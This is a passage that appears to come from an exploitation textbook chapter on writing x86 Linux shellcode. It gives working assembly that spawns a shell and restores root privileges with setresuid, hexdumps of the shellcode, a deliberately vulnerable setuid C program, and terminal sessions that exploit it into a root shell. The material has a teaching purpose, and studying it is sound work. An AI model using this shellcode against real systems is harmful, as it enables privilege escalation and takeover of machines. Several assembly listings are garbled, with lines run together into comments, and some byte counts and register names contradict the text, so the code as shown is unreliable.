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SECURITY

Shell-Spawning Shellcode

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shell-spawning_shellcode.html

Now that you've learned how to make system calls and avoid null bytes, all sorts of shellcodes can be constructed. To spawn a shell, we just need to make a system call to execute the /bin/sh shell program. System call number 11, execve(), is similar to the C execute() function that we used in the previous chapters.

EXECVE(2)                  Linux Programmer's Manual                 EXECVE(2)

NAME
execve - execute program

SYNOPSIS
#include int execve(const char *filename, char *const argv[], char *const envp[]); DESCRIPTION execve() executes the program pointed to by filename. Filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename. argv is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program's main function, when it is defined as int main(int argc, char *argv[], char *envp[]).

The first argument of the filename should be a pointer to the string "/bin/sh", since this is what we want to execute. The environment array— the third argument—can be empty, but it still need to be terminated with a 32-bit null pointer. The argument array—the second argument—must be nullterminated, too; it must also contain the string pointer (since the zeroth argument is the name of the running program). Done in C, a program making this call would look like this:

1. Shell-Spawning Shellcode

1.1. exec_shell.c
#include 

int main() {
  char filename[] = "/bin/sh\x00";
  char **argv, **envp; // Arrays that contain char pointers

  argv[0] = filename; // The only argument is filename.
  argv[1] = 0;  // Null terminate the argument array.

  envp[0] = 0; // Null terminate the environment array.

  execve(filename, argv, envp);
}

To do this in assembly, the argument and environment arrays need to be built in memory. In addition, the "/bin/sh" string needs to be terminated with a null byte. This must be built in memory as well. Dealing with memory in assembly is similar to using pointers in C. The lea instruction, whose name stands for load effective address, works like the address-of operator in C.

InstructionDescription
lea , Load the effective address of the source operand into the destination operand.


With Intel assembly syntax, operands can be dereferenced as pointers if they are surrounded by square brackets. For example, the following instruction in assembly will treat EBX+12 as a pointer and write eax to where it's pointing.

	89 43 0C             mov [ebx+12],eax

The following shellcode uses these new instructions to build the execve() arguments in memory. The environment array is collapsed into the end of the argument array, so they share the same 32-bit null terminator.

1.2. exec_shell.s
BITS 32

jmp short two ; Jump down to the bottom for the call trick.
one:
; int execve(const char *filename, char *const argv [], char *const envp[])
pop ebx ; Ebx has the addr of the string.
xor eax, eax ; Put 0 into eax.
mov [ebx+7], al ; Null terminate the /bin/sh string.
mov [ebx+8], ebx ; Put addr from ebx where the AAAA is.
mov [ebx+12], eax ; Put 32-bit null terminator where the BBBB is.
lea ecx, [ebx+8] ; Load the address of [ebx+8] into ecx for argv ptr. lea edx, [ebx+12] ; Edx = ebx + 12, which is the envp ptr. mov al, 11 ; Syscall #11 int 0x80 ; Do it. two: call one ; Use a call to get string address. db '/bin/shXAAAABBBB' ; The XAAAABBBB bytes aren't needed.

After terminating the string and building the arrays, the shellcode uses the lea instruction (shown in bold above) to put a pointer to the argument array into the ECX register. Loading the effective address of a bracketed register added to a value is an efficient way to add the value to the register and store the result in another register. In the example above, the brackets dereference EBX+8 as the argument to lea, which loads that address into EDX. Loading the address of a dereferenced pointer produces the original pointer, so this instruction puts EBX+8 into EDX. Normally, this would require both a mov and an add instruction. When assembled, this shellcode is devoid of null bytes. It will spawn a shell when used in an exploit.

reader@hacking:~/booksrc $ nasm exec_shell.s
reader@hacking:~/booksrc $ wc -c exec_shell
36 exec_shell
reader@hacking:~/booksrc $ hexdump -C exec_shell
00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|
00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|
00000020 6e 2f 73 68 |n/sh|
00000024
reader@hacking:~/booksrc $ export SHELLCODE=$(cat exec_shell)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff9c0
reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xc0\xf9\xff\xbf"x40')
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
[DEBUG] found a 9 byte note for user id 999
[DEBUG] found a 33 byte note for user id 999
-------[ end of note data ]-------
sh-3.2# whoami
root
sh-3.2#


This shellcode, however, can be shortened to less than the current 45 bytes. Since shellcode needs to be injected into program memory somewhere, smaller shellcode can be used in tighter exploit situations with smaller usable buffers. The smaller the shellcode, the more situations it can be used in. Obviously, the XAAAABBBB visual aid can be trimmed from the end of the string, which brings the shellcode down to 36 bytes.

reader@hacking:~/booksrc/shellcodes $ hexdump -C exec_shell
00000000 eb 16 5b 31 c0 88 43 07 89 5b 08 89 43 0c 8d 4b |..[1..C..[..C..K|
00000010 08 8d 53 0c b0 0b cd 80 e8 e5 ff ff ff 2f 62 69 |..S........../bi|
00000020 6e 2f 73 68 |n/sh|
00000024
reader@hacking:~/booksrc/shellcodes $ wc -c exec_shell
36 exec_shell
reader@hacking:~/booksrc/shellcodes $


This shellcode can be shrunk down further by redesigning it and using registers more efficiently. The ESP register is the stack pointer, pointing to the top of the stack. When a value is pushed to the stack, ESP is moved up in memory (by subtracting 4) and the value is placed at the top of the stack. When a value is popped from the stack, the pointer in ESP is moved down in memory (by adding 4).

The following shellcode uses push instructions to build the necessary structures in memory for the execve() system call.

1.3. tiny_shell.s
BITS 32

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Zero out eax.
push eax ; Push some nulls for string termination.
push 0x68732f2f ; Push "//sh" to the stack.
push 0x6e69622f ; Push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx, via esp.
push eax ; Push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; Push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
mov al, 11 ; Syscall #11.
int 0x80 ; Do it.

This shellcode builds the null-terminated string "/bin//sh" on the stack, and then copies ESP for the pointer. The extra backslash doesn't matter and is effectively ignored. The same method is used to build the arrays for the remaining arguments. The resulting shellcode still spawns a shell but is only 25 bytes, compared to 36 bytes using the jmp call method.

reader@hacking:~/booksrc $ nasm tiny_shell.s 
reader@hacking:~/booksrc $ wc -c tiny_shell
25 tiny_shell
reader@hacking:~/booksrc $ hexdump -C tiny_shell
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 |..S......|
00000019
reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./notesearch
SHELLCODE will be at 0xbffff9cb
reader@hacking:~/booksrc $ ./notesearch $(perl -e 'print "\xcb\xf9\xff\xbf"x40')
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
[DEBUG] found a 5 byte note for user id 999
[DEBUG] found a 35 byte note for user id 999
[DEBUG] found a 9 byte note for user id 999
[DEBUG] found a 33 byte note for user id 999
-------[ end of note data ]-------
sh-3.2#

2. A Matter of Privilege

To help mitigate rampant privilege escalation, some privileged processes will lower their effective privileges while doing things that don't require that kind of access. This can be done with the seteuid() function, which will set the effective user ID. By changing the effective user ID, the privileges of the process can be changed. The manual page for the seteuid() function is shown below.

SETEGID(2)                 Linux Programmer's Manual                SETEGID(2)

NAME
seteuid, setegid - set effective user or group ID

SYNOPSIS
#include #include int seteuid(uid_t euid); int setegid(gid_t egid); DESCRIPTION seteuid() sets the effective user ID of the current process. Unprivileged user processes may only set the effective user ID to ID to the real user ID, the effective user ID or the saved set-user-ID. Precisely the same holds for setegid() with "group" instead of "user". RETURN VALUE On success, zero is returned. On error, -1 is returned, and errno is set appropriately.

This function is used by the following code to drop privileges down to those of the "games" user before the vulnerable strcpy() call.

2.1. drop_privs.c
#include 
void lowered_privilege_function(unsigned char *ptr) {
   char buffer[50];
   seteuid(5);  // Drop privileges to games user.
   strcpy(buffer, ptr);
}
int main(int argc, char *argv[]) {
   if (argc > 0)
      lowered_privilege_function(argv[1]);
}

Even though this compiled program is setuid root, the privileges are dropped to the games user before the shellcode can execute. This only spawns a shell for the games user, without root access.

reader@hacking:~/booksrc $ gcc -o drop_privs drop_privs.c
reader@hacking:~/booksrc $ sudo chown root ./drop_privs; sudo chmod u+s ./drop_privs
reader@hacking:~/booksrc $ export SHELLCODE=$(cat tiny_shell)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff9cb
reader@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xcb\xf9\xff\xbf"x40')
sh-3.2$ whoami
games
sh-3.2$ id
uid=999(reader) gid=999(reader) euid=5(games)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
104(scan
ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)
sh-3.2$


Fortunately, the privileges can easily be restored at the beginning of our shellcode with a system call to set the privileges back to root. The most complete way to do this is with a setresuid() system call, which sets the real, effective, and saved user IDs. The system call number and manual page are shown below.

reader@hacking:~/booksrc $ grep -i setresuid /usr/include/asm-i386/unistd.h
#define __NR_setresuid 164 #define __NR_setresuid32 208 reader@hacking:~/booksrc $ man 2 setresuid SETRESUID(2) Linux Programmer's Manual SETRESUID(2) NAME setresuid, setresgid - set real, effective and saved user or group ID SYNOPSIS #define _GNU_SOURCE #include int setresuid(uid_t ruid, uid_t euid, uid_t suid); int setresgid(gid_t rgid, gid_t egid, gid_t sgid); DESCRIPTION setresuid() sets the real user ID, the effective user ID, and the saved
set-user-ID of the current process.


The following shellcode makes a call to setresuid() before spawning the shell to restore root privileges.

2.2. priv_shell.s
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; Zero out eax.
xor ebx, ebx ; Zero out ebx.
xor ecx, ecx ; Zero out ecx.
xor edx, edx ; Zero out edx.
mov al, 0xa4 ; 164 (0xa4) for syscall #164
int 0x80 ; setresuid(0, 0, 0) Restore all root privs.

; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; Make sure eax is zeroed again.
mov al, 11 ; syscall #11
push ecx ; push some nulls for string termination.
push 0x68732f2f ; push "//sh" to the stack.
push 0x6e69622f ; push "/bin" to the stack.
mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp.
push ecx ; push 32-bit null terminator to stack.
mov edx, esp ; This is an empty array for envp.
push ebx ; push string addr to stack above null terminator.
mov ecx, esp ; This is the argv array with string ptr.
int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

This way, even if a program is running under lowered privileges when it's exploited, the shellcode can restore the privileges. This effect is demonstrated below by exploiting the same program with dropped privileges.

reader@hacking:~/booksrc $ nasm priv_shell.s
reader@hacking:~/booksrc $ export SHELLCODE=$(cat priv_shell)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff9bf
reader@hacking:~/booksrc $ ./drop_privs $(perl -e 'print "\xbf\xf9\xff\xbf"x40')
sh-3.2# whoami
root
sh-3.2# id
uid=0(root) gid=999(reader)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
104(scan
ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)
sh-3.2#


3. And Smaller Still

A few more bytes can still be shaved off this shellcode. There is a single-byte x86 instruction called cdq, which stands for convert doubleword to quadword. Instead of using operands, this instruction always gets its source from the EAX register and stores the results between the EDX and EAX registers. Since the registers are 32-bit doublewords, it takes two registers to store a 64-bit quadword. The conversion is simply a matter of extending the sign bit from a 32-bit integer to 64-bit integer. Operationally, this means if the sign bit of EAX is 0, the cdq instruction will zero the EDX register. Using xor to zero the EDX register requires two bytes; so, if EAX is already zeroed, using the cdq instruction to zero EDX will save one byte

	31 D2            xor edx,edx

compared to

	99               cdq

Another byte can be saved with clever use of the stack. Since the stack is 32-bit aligned, a single byte value pushed to the stack will be aligned as a doubleword. When this value is popped off, it will be sign-extended, filling the entire register. The instructions that push a single byte and pop it back into a register take three bytes, while using xor to zero the register and moving a single byte takes four bytes

	31 C0            xor eax,eax
B0 0B mov al,0xb

compared to

	6A 0B            push byte +0xb
58 pop eax

These tricks (shown in bold) are used in the following shellcode listing. This assembles into the same shellcode as that used in the previous chapters.

5.3.3.1. shellcode.s
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
xor eax, eax ; Zero out eax.
xor ebx, ebx ; Zero out ebx.
xor ecx, ecx ; Zero out ecx.
cdq ; Zero out edx using the sign bit from eax. mov BYTE al, 0xa4 ; syscall 164 (0xa4) int 0x80 ; setresuid(0, 0, 0) Restore all root privs. ; execve(const char *filename, char *const argv [], char *const envp[]) push BYTE 11 ; push 11 to the stack.
pop eax ; pop the dword of 11 into eax.
push ecx ; push some nulls for string termination. push 0x68732f2f ; push "//sh" to the stack. push 0x6e69622f ; push "/bin" to the stack. mov ebx, esp ; Put the address of "/bin//sh" into ebx via esp. push ecx ; push 32-bit null terminator to stack. mov edx, esp ; This is an empty array for envp. push ebx ; push string addr to stack above null terminator. mov ecx, esp ; This is the argv array with string ptr. int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

The syntax for pushing a single byte requires the size to be declared. Valid sizes are BYTE for one byte, WORD for two bytes, and DWORD for four bytes. These sizes can be implied from register widths, so moving into the AL register implies the BYTE size. While it's not necessary to use a size in all situations, it doesn't hurt and can help readability.

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